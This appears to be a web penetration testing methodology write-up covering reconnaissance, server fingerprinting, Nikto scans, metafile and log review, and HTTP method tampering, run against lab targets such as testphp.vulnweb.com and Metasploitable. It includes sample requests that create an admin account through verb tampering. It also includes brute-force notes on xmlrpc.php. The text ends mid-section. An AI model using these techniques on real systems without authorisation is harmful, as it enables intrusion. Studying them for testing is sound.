Web Application Penetration Testing

Contents

Information Gathering ........................................................................................................... 4

1. Conduct Search Engine Discovery and Reconnaissance for Information Leakage .......... 4
2. Fingerprint Web Server.................................................................................................. 5
3. Review Webserver Metafiles for Information Leakage.................................................. 7
4. Enumerate Applications on Webserver......................................................................... 8
5. Review Webpage Comments and Metadata for Information Leakage.......................... 11
6. Identify Application Entry Points .................................................................................. 11
7. Map execution paths through application..................................................................... 13
8. Fingerprint Web Application & Web Application Framework ...................................... 14

Configuration and Deployment Management Testing......................................................... 18

1. Test Network/Infrastructure Configuration................................................................. 18
2. Test Application Platform Configuration...................................................................... 23
3. Test File Extensions Handling for Sensitive Information.............................................. 29
4. Review Old, Backup and Unreferenced Files for Sensitive Information....................... 32
5. Enumerate Infrastructure and Application Admin Interfaces ....................................... 34
6. Test HTTP Methods...................................................................................................... 39
7. Test HTTP Strict Transport Security............................................................................. 41
8. Test RIA cross domain policy....................................................................................... 43

Identity Management Testing ............................................................................................ 45

1. Test Role Definition........................................................................................................ 45
2. Test User Registration Process...................................................................................... 47
3. Test Account Provisioning Process................................................................................ 49
4. Testing for Account Enumeration and Guessable User Account.................................. 51
Authentication Testing

1. Testing for Credentials Transported over an Encrypted Channel
2. Testing for default credentials
3. Testing for Weak lock out mechanism
4. Testing for bypassing authentication schema
5. Test remember password functionality
6. Testing for Browser cache weakness
7. Testing for Weak password policy
8. Testing for weak security Question/Answer
9. Testing for weak password change or reset function

Authorization Testing

1. Testing Directory traversal / file include
2. Testing for Privilege Escalation
3. Testing for Insecure Direct Object References

Session Management Testing

1. Testing for Bypassing Session Management Schema
2. Testing for Cookies attributes
3. Testing for Session Fixation
4. Testing for Exposed Session Variables
5. Testing for Cross Site Request Forgery (CSRF)
6. Testing for logout functionality
7. Test Session Timeout

Input Validation Testing

1. Testing for Reflected Cross Site Scripting
2. Testing for Stored Cross Site Scripting
3. Testing for HTTP Verb Tampering
4. Testing for HTTP Parameter pollution
5. Testing for SQL Injection
6. Testing for LDAP Injection
7. Testing for XML Injection
8. Testing for XPath Injection
10. Testing for Command Injection
Testing for Error Handling .................................................................................................................. 143

1. Analysis of Error Codes .................................................................................................................. 143
2. Analysis of Stack Traces .................................................................................................................. 146

Testing for weak Cryptography ........................................................................................................... 147

1. SSL/TLS Testing .............................................................................................................................. 147
2. Testing for Padding Oracle .............................................................................................................. 153

Business Testing Logic ......................................................................................................................... 157

1. Test Business Logic Data Validation .............................................................................................. 157
2. Test Ability to Forge Requests ......................................................................................................... 159
3. Test Integrity Checks ........................................................................................................................ 159
4. Test for Process Timing .................................................................................................................... 162
5. Test Defense Against Application Misuse ......................................................................................... 162
6. Test Upload of Unexpected File Types ............................................................................................ 162
7. Test Upload of Malicious Files .......................................................................................................... 170

Client Side Testing .............................................................................................................................. 172

1. Testing for Client Side URL Redirect ............................................................................................... 172
2. Testing for Clickjacking ...................................................................................................................... 175
3. Test Cross Origin Resource Sharing ................................................................................................. 177
4. Testing for Spoofable Client IP address ............................................................................................. 177
Information Gathering

1. Conduct Search Engine Discovery and Reconnaissance for Information Leakage

Google hacking technique

Evident:

With: testphp.vulnweb.com

I have tried google hack with search field parameter as: “site: testphp.vulnweb.com”

After this, I got basic crawling result below:

```
Index of /pictures/
testphp.vulnweb.com/pictures/ ▼ Dich trang nay

Shop
testphp.vulnweb.com/Mod_Rewrite_Shop/ ▼ Dich trang nay

Index of /CVS/
testphp.vulnweb.com/CVS/ ▼ Dich trang nay
Bạn đã truy cập trang này 3 lần. Lần truy cập cuối: 01/02/2018

ajax test
testphp.vulnweb.com/AJAX/ ▼ Dich trang nay
artista | categories | titles | send xml | setcookie.

Index of /admin/
testphp.vulnweb.com/admin/ ▼ Dich trang nay
Bạn đã truy cập trang này 3 lần. Lần truy cập cuối: 01/02/2018

Index of /images/
testphp.vulnweb.com/images/ ▼ Dich trang nay

Index of /Templates/
testphp.vulnweb.com/Templates/ ▼ Dich trang nay
```

I used some query to discovering more interested information:
References:


2. Fingerprint Web Server

Web server fingerprinting is a critical task for the Penetration tester. Knowing the version and type of a running web server allows testers to determine known vulnerabilities and the appropriate exploits to use during testing.

Black box test:

The simplest and most basic form of identifying a web server is look at the server field in the HTTP response header with netcat

Example:

```bash
nc google.com 80
GET / HTTP/1.1
Host: google.com
enter
enter
```
Automate Testing tools: httprint, Burpsuite

Online Testing: [https://www.netcraft.com/](https://www.netcraft.com/)

Evident:

- with netcat, we have result as below:

```
root@ilak:~# nc testphp.vulnweb.com 80
GET / HTTP/1.1
Host: testphp.vulnweb.com

HTTP/1.1 200 OK
Server: nginx/1.4.1
Date: Fri, 02 Feb 2018 07:43:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
```

- Of course, we can use some extension of browser, such as:

![Wappalyzer](https://www.wappalyzer.com/)

- Online solutions:
References:

- http://www.net-square.com/httprint.html

3. Review Webserver Metafiles for Information Leakage

How to test:

a. Robots.txt

Web spiders/robots/crawlers retrieve (access) a web page and then recursively traverse hyperlinks to retrieve further web content. Their accepted behavior is specified by the Robots Exclusion Protocol of the robots.txt file in the web root directory

Example: abc.com/robots.txt

Tool:

- Using wget:
  - Example: wget http://google.com/robots.txt

References:

- http://www.robotstxt.org/

Evident:
b. META Tag

Tags are located within the HEAD section of each HTML Document and should be consistent across a web site in the likely event that the robot/spider/crawler start point does not begin from a document link other than webroot

Web spiders/robots/crawlers can intentionally ignore the “<META NAME="ROBOTS">” tag as the robots.txt file

Tool: BurpSuite

4. Enumerate Applications on Webserver

Base URLs:
- http://www.example.com/webmail
- http://mail.example.com/

Base ports:

Most basic and the simplest way is using port scanner such as nmap with these options. For example below:

```bash
nmap http://www.example.com/webmail
nmap http://mail.example.com
```
nmap -sT -sV -p 0-65535 192.168.1.1

Base Domain name:

- There are a number of techniques which may be used to identify DNS names to given IP, Which one is nslookup.

  cmd
  nslookup
  all
  set type=all
  example.com

- Web-based DNS search:
  - http://searchdns.netcraft.com/?host

- Reverse IP:
  - Domain tools reverse IP: http://www.domaintools.com/reverse-ip/ (require free membership)
  - MSN search: http://search.msn.com syntax: "ip:x.x.x.x" (without the quotes)
  - webhosting info: http://whois.webhosting.info/
  - DNSstuff: http://www.dnsstuff.com/

Google hack

Evident:

- Example with nmap:
Example with nslookup:

Tools:
- nslookup, dig
- Port scanner: nmap http://www.insecure.org
- Search engine: shodan.io, google.

Note for shodan.io: //null
5. Review Webpage Comments and Metadata for Information Leakage

It is very common, and even recommended, for programmers to include detailed comments and metadata on their source code. However, comments and metadata included into the HTML code might reveal internal information that should not be available to potential attackers. Comments and metadata review should be done in order to determine if any information is being leaked.

Tools:

- Wget
- Any browser

6. Identify Application Entry Points

In request:

- Identify where GETs are used and where POST are use
- Identify ALL parameters used in POST request (including hidden parameter and unhidden parameter)
- Identify ALL parameters used in GET request (usually after ? mark)
- Identify all parameters of query string
- Pay attention for parameters even if encoded or encrypted and identify which ones account who are process by application.

In response:

- Identify and note any headers
- Identify where there are any redirects (300 HTTP status code), 400 status code, 403 particular forbidden and 500 internal server errors during normal response.

Tools:

- Intercept proxy: Burpsuite, paros, webscarab,…
- Browser plugins: Tamper data on firefox,…

Some note:
• To discovering hidden parameters, I can use Burp Suite with following options:

- With status code, using Burpsuite to find’em out
- Capture request parameters and response header with Burp Suite
7. Map execution paths through application

Before commencing security testing, understanding the structure of the application is paramount. Without a thorough understanding of the layout of the application, it is unlikely that it will be tested thoroughly.

Test objectives

- Map the target application and understand the principal workflows

Automatic Spider tools

- Burp Suite
- ZAP

Automate Spider example
8. Fingerprint Web Application & Web Application Framework

Web framework fingerprinting is an important subtask of the information gathering process. Knowing the type of framework can automatically give a great advantage if such a framework has already been tested by the penetration tester. It is not only the known vulnerabilities in unpatched version but specific misconfigurations in the framework and known file structure that makes the fingerprinting process so important.

Black Box Testing

There are several most common locations to look in in order to define the current framework

- HTTP headers
- Cookies
- HTML source code
- Specific files and folders

HTTP headers

The most basic form of identifying a web application framework is to look at the X-Powered-By field in the HTTP response header.
Cookies

Another similar and somehow more reliable way to determine the current web framework are framework-specific cookies.

HTML source code

This technique is based on finding certain patterns in the HTML page source code. We can find a lot of information which helps a tester to recognize a specific web application.
Specific files and folders

Every application has its own specific file and folder structure on the server. We can use tool or manual access them.

Dirbusting example

- Google hacking technique
  
  https://www.exploit-db.com/ghdb/4675/

```xml
<?xml version="1.0" encoding="UTF-8"?>
<rsd xmlns="http://archipelago.phrasewise.com/rsd" version="1.0">
  <service>
    <engineName>WordPress</engineName>
    <engineLink>https://wordpress.org/</engineLink>
    <HomePageLink>http://wordpress.com</HomePageLink>
    <apis>
      <api apiLink="https://wordpress.com/xmlrpc.php" preferred="true"
           blogID="1" name="WordPress"/>
      <api apiLink="https://wordpress.com/xmlrpc.php" preferred="false"
           blogID="1" name="Movable Type"/>
      <api apiLink="https://wordpress.com/xmlrpc.php" preferred="false"
           blogID="1" name="MetaWeblog"/>
      <api apiLink="https://wordpress.com/xmlrpc.php" preferred="false"
           blogID="1" name="Blogger"/>
      <api apiLink="https://twitter-api.wordpress.com/" preferred="false"
           blogID="" name="Twitter"/>
    </apis>
  </service>
</rsd>
```

- BurpSuite Intruder

Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.
Common Application Identifiers

<table>
<thead>
<tr>
<th>Application</th>
<th>Keyword</th>
</tr>
</thead>
<tbody>
<tr>
<td>Wordpress</td>
<td><code>&lt;meta name=&quot;generator&quot; content=&quot;WordPress 3.9.2&quot; /&gt;</code></td>
</tr>
<tr>
<td>phpBB</td>
<td><code>&lt;body id=&quot;phpbb&quot;</code></td>
</tr>
<tr>
<td>Mediawiki</td>
<td><code>&lt;meta name=&quot;generator&quot; content=&quot;MediaWiki 1.21.9&quot; /&gt;</code></td>
</tr>
<tr>
<td>Joomla</td>
<td><code>&lt;meta name=&quot;generator&quot; content=&quot;Joomla! - Open Source Content Management&quot; /&gt;</code></td>
</tr>
<tr>
<td>Drupal</td>
<td><code>&lt;meta name=&quot;Generator&quot; content=&quot;Drupal 7 (http://drupal.org)&quot; /&gt;</code></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Framework</th>
<th>Cookie name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Zope</td>
<td>zope3</td>
</tr>
<tr>
<td>CakePHP</td>
<td>cakephp</td>
</tr>
<tr>
<td>Kohana</td>
<td>kohanasession</td>
</tr>
<tr>
<td>Laravel</td>
<td>laravel_session</td>
</tr>
</tbody>
</table>

Nikto
Configuration and Deployment Management Testing

1. Test Network/Infrastructure Configuration

Review of the Application Architecture

Known Server Vulnerabilities

- Using Nessus Scan for Metasploitable 2, we have some Known vulnerabilities as shown below:
### Administrative Tools

- List all the possible administrative interfaces such as:
  - Local remote

---

```
collisions:0 txqueuelen:1000
RX bytes:4260 (4.1 KB) TX bytes:7260 (7.0 KB)
Interrupt:19 Base address:0x2000

lo
Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/120 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:92 errors:0 dropped:0 overruns:0 frame:0
TX packets:92 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:19393 (18.9 KB) TX bytes:19393 (18.9 KB)
```

```
nsfadmin@metasploitable:~$ nsfadmin@metasploitable:~$ nsfadmin@metasploitable:~$ nsfadmin@metasploitable:~$ nsfadmin@metasploitable:~$ nsfadmin@metasploitable:~$ nsfadmin@metasploitable:~$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \
Your MySQL connection id is 12
Server version: 5.0.51a-3ubuntu5 (Ubuntu)

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> 
```

Remote access via SFTP
Access via web interface – such as HTTP basic authentication

Access via WebDAV
Access via FTP

Access via SSH

- Determine if administrative interfaces are available from an internal network or are also available from the internet. If available from the internet, determine the mechanisms that control access to these interface and their associated susceptibilities.

With insecure protocol like ftp, telnet or http basic authentication, easy to sniff administrator password with Wireshark
Worse, WebDAV don’t request username and password from client to identifying, so hacker can upload any malicious files him want.

Recommend using Secure protocol such as: FTPs, SFTP, SSH, TLS/SSL, VPN, …

- Change default user & password
2. Test Application Platform Configuration

Configuration review and testing is a critical task, while the typical web and application server installation will spot a lot of function (like application examples, documentation, test pages), what is not essential should be removed before deployment to avoid post install exploitation.

Black Box Testing and Example

Sample/known Files and Directory

Many web servers and application servers provide, in a default installation, sample applications and files that are provided for the benefit of the developer and in order to test that the server is working properly right after installation.

However, many default web server applications have been later known to be vulnerable or information disclosure.

Example:

- Wordpress version show in readme

  ![Wordpress version](192.168.222.136/wordpress/readme.html)

  **Semantic Personal Publishing Platform**

- Brute force attack / Denial of Service attack in Wordpress’s xmlrpc.php

  ![Brute force attack](192.168.222.136/wordpress/xmlrpc.php)

  XML-RPC server accepts POST requests only
More information at:
https://isc.sans.edu/diary/Wordpress+%22Pingback%22+DDoS+Attacks/17801
https://hackerone.com/reports/96294
https://testpurposes.net/2016/11/01/wordpress-xmlrpc-brute-force-attacks-via-burpsuite/

Comment on source code review

It is very common and even recommended
Configuration review

Some common guidelines should be taken into account:

- Only enable server modules that are needed for application.
- Handle server errors code with custom-made pages.
- Make sure server software runs with minimize privileges in the operating system.

- Make sure the server software logs properly both legitimate access and errors.
- Make sure that the server is configured to properly handle overloads and prevent Denial of Service attacks.

Logging

Logging is an important asset of the security of an application architecture, since it can be used to detect flaws in application, logs are typically properly generated by web and server software.

<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Changed</th>
<th>Rights</th>
<th>Owner</th>
</tr>
</thead>
<tbody>
<tr>
<td>..</td>
<td></td>
<td>2/5/2018 3:30:12 PM</td>
<td>rwxr-xr-x</td>
<td>root</td>
</tr>
<tr>
<td>error.log.10.gz</td>
<td>1 KB</td>
<td>5/21/2012 12:45:08 PM</td>
<td>rw-r---r-</td>
<td>root</td>
</tr>
<tr>
<td>error.log.9.gz</td>
<td>1 KB</td>
<td>9/21/2017 5:47:26 PM</td>
<td>rw-r----r-</td>
<td>root</td>
</tr>
<tr>
<td>error.log.8.gz</td>
<td>1 KB</td>
<td>10/10/2017 5:38:20 PM</td>
<td>rw-r-------r</td>
<td>root</td>
</tr>
<tr>
<td>error.log.7.gz</td>
<td>1 KB</td>
<td>10/20/2017 5:26:14 PM</td>
<td>rw-r-------r</td>
<td>root</td>
</tr>
<tr>
<td>error.log.6.gz</td>
<td>1 KB</td>
<td>11/14/2017 6:31:56 PM</td>
<td>rw-r-------r</td>
<td>root</td>
</tr>
<tr>
<td>error.log.5.gz</td>
<td>1 KB</td>
<td>11/22/2017 6:53:33 PM</td>
<td>rw-r-------r</td>
<td>root</td>
</tr>
<tr>
<td>error.log.4.gz</td>
<td>1 KB</td>
<td>12/4/2017 6:32:14 PM</td>
<td>rw-r-------r</td>
<td>root</td>
</tr>
<tr>
<td>error.log.3.gz</td>
<td>1 KB</td>
<td>12/11/2017 6:54:45 PM</td>
<td>rw-r-------r</td>
<td>root</td>
</tr>
<tr>
<td>error.log.2.gz</td>
<td>1 KB</td>
<td>12/22/2017 6:28:40 PM</td>
<td>rw-r-------r</td>
<td>root</td>
</tr>
<tr>
<td>error.log.1</td>
<td>1 KB</td>
<td>1/17/2018 6:42:56 PM</td>
<td>rw-r-------r</td>
<td>root</td>
</tr>
<tr>
<td>error.log</td>
<td>86 KB</td>
<td>2/5/2018 3:30:42 PM</td>
<td>rw-r-------r</td>
<td>root</td>
</tr>
<tr>
<td>access.log.7.gz</td>
<td>5 KB</td>
<td>9/21/2017 5:47:26 PM</td>
<td>rw-r-r-r-r</td>
<td>root</td>
</tr>
<tr>
<td>access.log.6.gz</td>
<td>3 KB</td>
<td>10/10/2017 5:38:20 PM</td>
<td>rw-r-------r</td>
<td>root</td>
</tr>
<tr>
<td>access.log.5.gz</td>
<td>2 KB</td>
<td>10/20/2017 5:26:14 PM</td>
<td>rw-r-------r</td>
<td>root</td>
</tr>
<tr>
<td>access.log.4.gz</td>
<td>2 KB</td>
<td>11/22/2017 6:53:33 PM</td>
<td>rw-r-------r</td>
<td>root</td>
</tr>
<tr>
<td>access.log.3.gz</td>
<td>2 KB</td>
<td>12/4/2017 6:32:14 PM</td>
<td>rw-r-------r</td>
<td>root</td>
</tr>
<tr>
<td>access.log.2.gz</td>
<td>2 KB</td>
<td>12/22/2017 6:28:40 PM</td>
<td>rw-r-------r</td>
<td>root</td>
</tr>
<tr>
<td>access.log.1</td>
<td>6 KB</td>
<td>1/17/2018 6:42:56 PM</td>
<td>rw-r-------r</td>
<td>root</td>
</tr>
<tr>
<td>access.log</td>
<td>204 KB</td>
<td>2/4/2018 10:00:32 PM</td>
<td>rw-r-------r</td>
<td>root</td>
</tr>
</tbody>
</table>
Sensitive information in logs

Some applications might, for example use GET requests to forward form data which will be viewable in the server logs. This means that server logs might contain sensitive information (such as usernames as passwords, or bank account details). This sensitive information can be misused by an attacker if logs were to be obtained by an attacker, for example, through administrative interfaces or known web server vulnerabilities or misconfiguration (like the well-known server-status misconfiguration in Apache-based HTTP servers).

Log Location

Try to keep logs in a separate location, and not in the web server itself. This also makes it easier to aggregate logs from different sources that refer to the same application (such as those of a web server farm) and it also makes it easier to do log analysis (which can be CPU intensive) without affecting the server itself.

Log Storage

In UNIX systems, logs will be located in /var (although some server installations might reside in /opt or /usr/local) and it is thus important to make sure that the directories that contain logs are in a separate partition. In some cases, and in order to prevent the system logs from being affected, the log directory of the server software itself (such as /var/log/apache in the Apache web server) should be stored in a dedicated partition.

Log rotation
Most servers (but few custom applications) will rotate logs in order to prevent them from filling up the file system they reside on. The assumption when rotating logs is that the information in them is only necessary for a limited amount of time.

This feature should be tested in order to ensure that:

- Logs are kept for the time defined in the security policy, not more and not less.
- Logs are compressed once rotated (this is a convenience, since it will mean that more logs will be stored for the same available disk space).
- File system permission of rotated log files are the same (or stricter) that those of the log files itself. For example, web servers will need to write to the logs they use but they don’t actually need to write to rotated logs, which means that the permissions of the files can be changed upon rotation to prevent the web server process from modifying these.

Some servers might rotate logs when they reach a given size. If this happens, it must be ensured that an attacker cannot force logs to rotate in order to hide its tracks.

Log contents

- Do the logs contain sensitive information?
- Are the logs stored in a dedicated server?
- Can log usage generate a Denial of Service condition?
- How are log backups preserved?
- Is the data being logged data validated (min/max length, chars etc) prior to being logged?
- How are logs reviewed? Can admin use these review to detect targeted attack?
- How are they rotated? Are logs kept for the sufficient time?
3. Test File Extensions Handling for Sensitive Information

File extensions are commonly used in web servers to easily determine which technologies / languages / plugins must be used to fulfill the web request.

Black box testing:

Submit http[s] requests involving different file extensions and verify how they are handled. These verifications should be on a per web directory basis.

The following file extensions should NEVER be returned by a web server, since they are related to files which may contain sensitive information, or to files for which there is no reason to be served.

- .asa
- .inc

Using google hack, easy to find them, such as:

- ext:asa inurl:www.maybole.org

The following file extensions are related to files which, when accessed, are either displayed or downloaded by the browser. Therefore, files with these extensions must be checked to verify that they are indeed supposed to be served (and are not leftovers), and that they do not contain sensitive information.
- .zip, .tar, .gz, .tgz, .rar, ...: (Compressed) archive files
- .java: No reason to provide access to Java source files
- .txt: Text files
- .pdf: PDF documents
- .doc, .rtf, .xls, .ppt, ...: Office documents
- .bak, .old and other extensions indicative of backup files (for example: ~ for Emacs backup files)

For more information, access to this link: [http://filext.com/](http://filext.com/)

We can mix some below techniques for solving this problem:

- **Vulnerability scanner**

```
root@lak:~# nikt0 -h 192.168.194.154
  Nikto v2.1.6

+ Target IP: 192.168.194.154
+ Target Hostname: 192.168.194.154
+ Target Port: 80
+ Start Time: 2018-02-07 13:26:35 (GMT)
+ Server: Apache/2.2.15 (CentOS)
  + Cookie PMSESSID created without the httpOnly flag
  + The anti-clickjacking X-Frame-Options header is not present.
  + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some form
    of Uncommon header 'link' found, with contents: http://192.168.194.154/~; rel=shortlink
  + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site
  + Apache/2.2.15 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2
    Server leaks inodes via ETags, header found with file /wp-content/themes/nashtechy/assets/images/favicon.ico,
    Web Server returns a valid response with junk HTTP methods, this may cause false positives.
  + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
  + Uncommon header 'x-robots-tag' found, with contents: noindex, follow
  + OSVDB-3092: /sitemap.xml: This gives a nice listing of the site content.
  + OSVDB-12184: /?PHPBB5F2AB-3C92-11D3-A3A9-AC7B08C10000: PHP reveals potentially sensitive information via cert
  + OSVDB-12184: /?PHPBB5F2AB-3C92-11D3-A3A9-AC7B08C10000: PHP reveals potentially sensitive information via cert
  + OSVDB-12184: /?PHPBB5F2AB-3C92-11D3-A3A9-AC7B08C10000: PHP reveals potentially sensitive information via cert
  + OSVDB-3092: /clients/: This might be interesting...
  + OSVDB-3092: /job/: This might be interesting...
  + OSVDB-3092: /phpmyadmin/Changelog.phpMyAdmin is for managing MySQL databases, and should be protected or limit
    OSVDB-3268: /icons/: Directory indexing found.
```

- **Spider tools**

![Apple Mac OS X FInd-By-Content .DS_Store Web Directory Listing](image)

**Description**

It is possible to read a .DS_Store file on the remote web server.

This file is created by MacOS X Finder; it is used to remember the icons position on the desktop, among other things, and contains the list of files and directories present in the remote directory.

Note that deleted files may still be present in this .DS_Store file.

**Solution**

- Configure your web server so as to prevent the download of .DS_Store files.
- Mac OS X users should configure their workstation to disable the creation of .DS_Store files on network shares.
- Mirroring tools

```
root@desktop# atack "http://192.168.222.136/multilidae/" --mirrorlinks -0 dir/
WARNING: You are running this program as root.
It might be a good idea to run as a different user.
Mirroring launched on Fri, 09 Feb 2018 16:13:21 by HTrack Website Copier/3.4B-2 [MROCO/2014]
* https://www.owasp.org/index.php/testing_for_CWE_(OWASP-UK-F08) [6248 bytes] - OK
** finishing pending transfers... press again 'c' to quit.
Thanks for using HTrack!
```

- Manual access
Gray box testing

Performing white box testing against file extensions handling amounts to checking the configurations of web server(s) / application server(s) taking part in the web application architecture, and verifying how they are instructed to serve different file extensions. If the web application relies on a load-balanced, heterogeneous infrastructure, determine whether this may introduce different behaviour.

4. Review Old, Backup and Unreferenced Files for Sensitive Information

While most of the files within a web server are directly handled by the server itself it isn't uncommon to find unreferenced and/or forgotten files that can be used to obtain important information about either the infrastructure or the credentials. Most common scenarios include the presence of renamed old version of modified files, inclusion files that are loaded into the language of choice and can be downloaded as source, or even automatic or manual backups in form of compressed archives. All these files may grant the pentester access to inner workings, backdoors, administrative interfaces, or even credentials to connect to the administrative interface or the database server.

Black Box Testing

Testing for unreferenced files uses both automated and manual techniques:

- Enumerate all of application’s pages and functionality: This can be done manually using a browser, or using an application spidering tool. Most applications use a recognisable naming scheme, and organise resources into pages and directories using words that describe their function. From the naming scheme used for published content, it is often possible to infer the name and location of unreferenced pages. For example, if a page viewuser.asp is found, then look also for edituser.asp, adduser.asp and deleteuser.asp. If a directory /app/user is found, then look also for /app/admin and /app/manager.
• Other clues in published content: Many web applications leave clues in published content that can lead to the discovery of hidden pages and functionality. These clues often appear in the source code of HTML and JavaScript files. The source code for all published content should be manually reviewed to identify clues about other pages and functionality.

Another source of clues about unreferenced directories is the /robots.txt file used to provide instructions to web robots.

# robots.txt
#
# This file is to prevent the crawling and indexing of certain parts
# of your site by web crawlers and spiders run by sites like Yahoo!
# and Google. By telling these "robots" where not to go on your site,
# you save bandwidth and server resources.
# This file will be ignored unless it is at the root of your host:
# Used: http://example.com/robots.txt
# Ignored: http://example.com/site/robots.txt
#
# For more information about the robots.txt standard, see:
# http://www.robots-txt.org/wc/robots.html
#
# For syntax checking, see:
# http://www.sxw.org.uk/computing/robots/check.html

User-agent: *
Crawl-delay: 10
# Directories
Disallow: /fhed/
Disallow: /ecoleprimaire/
**Disallow: /backup/**
Disallow: /phpmyadmin/
Disallow: /picture_library/
Disallow: /plesk-stat/

• Information obtained through server vulnerabilities and misconfiguration
5. Enumerate Infrastructure and Application Admin Interfaces

Black box and Gray box Testing

The following describes vectors that may be used to test for the presence of administrative interfaces. These techniques may also be used for testing for related issues including privilege escalation and are described elsewhere in this guide in greater detail:

- Directory and file Enumeration - An administrative interface may be present but not visibly available to the tester. Attempting to guess the path of the administrative interface may be as simple as requesting: /admin or /administrator etc.. A tester may have to also identify the filename of the administration page. Forcibly browsing to the identified page may provide access to the interface.
• Comments and links in Source - Many sites use common code that is loaded for all site users. By examining all source sent to the client, links to administrator functionality may be discovered and should be investigated.

• Reviewing Server and Application Documentation - If the application server or application is deployed in its default configuration it may be possible to access the administration interface using information described in configuration or help documentation. Default password lists should be consulted if an administrative interface is found and credentials are required.
Alternative Server Port - Administration interfaces may be seen on a different port on the host than the main application. For example, Apache Tomcat's Administration interface can often be seen on port 8080.
Parameter Tampering - A GET or POST parameter or a cookie variable may be required to enable the administrator functionality.
Session Mgmt. - Administrative Portals

This page is locked

HINT: check the cookies...
6. Test HTTP Methods

HTTP offers a number of methods that can be used to perform actions on the web server. Many of these methods are designed to aid developers in deploying and testing HTTP applications.

While GET and POST are by far the most common methods that are used to access information provided by a web server, the Hypertext Transfer Protocol (HTTP) allows several other (and somewhat less known) methods:

- **HEAD**
- **GET**
- **POST**
- **PUT**
- **DELETE**
- **TRACE**
- **OPTIONS**
- **CONNECT**

Some of these methods can potentially pose a security risk for a web application, as they allow an attacker to modify the files stored on the web server and, in some scenarios, steal the credentials of legitimate users. More specifically, the methods that should be disabled are the following:

- **PUT**: This method allows a client to upload new files on the web server. An attacker can exploit it by uploading malicious files (e.g.: an asp file that executes commands by invoking cmd.exe), or by simply using the victim server as a file repository.
- **DELETE**: This method allows a client to delete a file on the web server. An attacker can exploit it as a very simple and direct way to deface a web site or to mount a DoS attack.
- **CONNECT**: This method could allow a client to use the web server as a proxy.
- **TRACE**: This method simply echoes back to the client whatever string has been sent to the server, and is used mainly for debugging purposes.
Black Box Testing

Test XST Potential

Find a page you'd like to visit that has a security constraint such that it would normally force a 302 redirect to a login page or forces a login directly. The test URL in this example works like this - as do many web applications. However, if you obtain a "200" response that is not a login page, it is possible to bypass authentication and thus authorization.

www.example.com 80 JEFF / HTTP/1.1 Host: www.example.com

HTTP/1.1 200 OK
Date: Mon, 18 Aug 2008 22:38:40 GMT
Server: Apache
Set-Cookie: PHPSESSID=K53QW...

If your framework or firewall or application does not support the "JEFF" method, it should issue an error page (or preferably a 405 Not Allowed or 501 Not implemented error page). If it services the request, it is vulnerable to this issue.

If you feel that the system is vulnerable to this issue, issue CSRF-like attacks to exploit the issue more fully:

- FOOBAR /admin/createUser.php?member=myAdmin
- JEFF /admin/changePw.php?member=myAdmin&passwd=foo123&confirm=foo123
- CATS /admin/groupEdit.php?group=Admins&member=myAdmin&action=add
- HEAD /admin/createUser.php?member=myAdmin
With some luck, using the above three commands - modified to suit the application under test and testing requirements - a new user would be created, a password assigned, and made an admin.

7. Test HTTP Strict Transport Security

The HTTP Strict Transport Security (HSTS) header is a mechanism that websites have to communicate to the web browsers that all traffic exchanged with a given domain must always be sent over https.

Considering the importance of this security measure it is important to verify that the website is using this HTTP header, in order to ensure that all the data travels encrypted from the web browser to the server.

The HTTP Strict Transport Security (HSTS) feature lets a web application inform the browser, through the use of a special response header, that it should never establish a connection to the specified domain servers using HTTP. Instead it should automatically establish all connection requests to access the site through HTTPS.

The HTTP strict transport security header uses two directives:

- max-age: to indicate the number of seconds that the browser should automatically convert all HTTP requests to HTTPS.
- includeSubDomains: to indicate that all web application’s sub-domains must use HTTPS.

Here's an example of the HSTS header implementation:

```
Strict-Transport-Security: max-age=60000; includeSubDomains
```

The use of this header by web applications must be checked to find if the following security issues could be produced:

- Attackers sniffing the network traffic and accessing the information transferred through an unencrypted channel.
- Attackers exploiting a man in the middle attack because of the problem of accepting certificates that are not trusted.
- Users who mistakenly entered an address in the browser putting HTTP instead of HTTPS, or users who click on a link in a web application which mistakenly indicated the http protocol.
How to test

- I have wrote a tool which can analyze header, contact to me to get this tool for free.

- Burpsuite response
8. Test RIA cross domain policy

RIAs are web-based services that perform the same functions as desktop application systems.

A cross-domain policy file specifies the permissions that a web client such as Java, Adobe Flash, Adobe Reader, etc. use to access data across different domains. For Silverlight, Microsoft adopted a subset of the Adobe's crossdomain.xml, and additionally created its own cross-domain policy file: clientaccesspolicy.xml.

Whenever a web client detects that a resource has to be requested from other domain, it will first look for a policy file in the target domain to determine if performing cross-domain requests, including headers, and socket-based connections are allowed.

Master policy files are located at the domain’s root. A client may be instructed to load a different policy file but it will always check the master policy file first to ensure that the master policy file permits the requested policy file.

How to Test

We should try to retrieve the policy files crossdomain.xml and clientaccesspolicy.xml from the application’s root and from every folder found.
After retrieving all the policy files, the permissions allowed should be checked under the least privilege principle. Requests should only come from the domains, ports, or protocols that are necessary. Overly permissive policies should be avoided. Policies with "*" in them should be closely examined.

### 3. Flash cross-domain policy

#### Summary

<table>
<thead>
<tr>
<th>Severity</th>
<th>High</th>
</tr>
</thead>
<tbody>
<tr>
<td>Confidence</td>
<td>Certain</td>
</tr>
<tr>
<td>Host</td>
<td><a href="http://testphp.vulnweb.com">http://testphp.vulnweb.com</a></td>
</tr>
<tr>
<td>Path</td>
<td>/crossdomain.xml</td>
</tr>
</tbody>
</table>

#### Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain.

#### Request

```plaintext
GET /crossdomain.xml HTTP/1.1
Host: testphp.vulnweb.com
Connection: close
```

#### Response

```
HTTP/1.1 200 OK
Server: nginx/1.4.1
Date: Thu, 01 Feb 2018 09:40:41 GMT
Content-Type: text/xml
Content-Length: 224
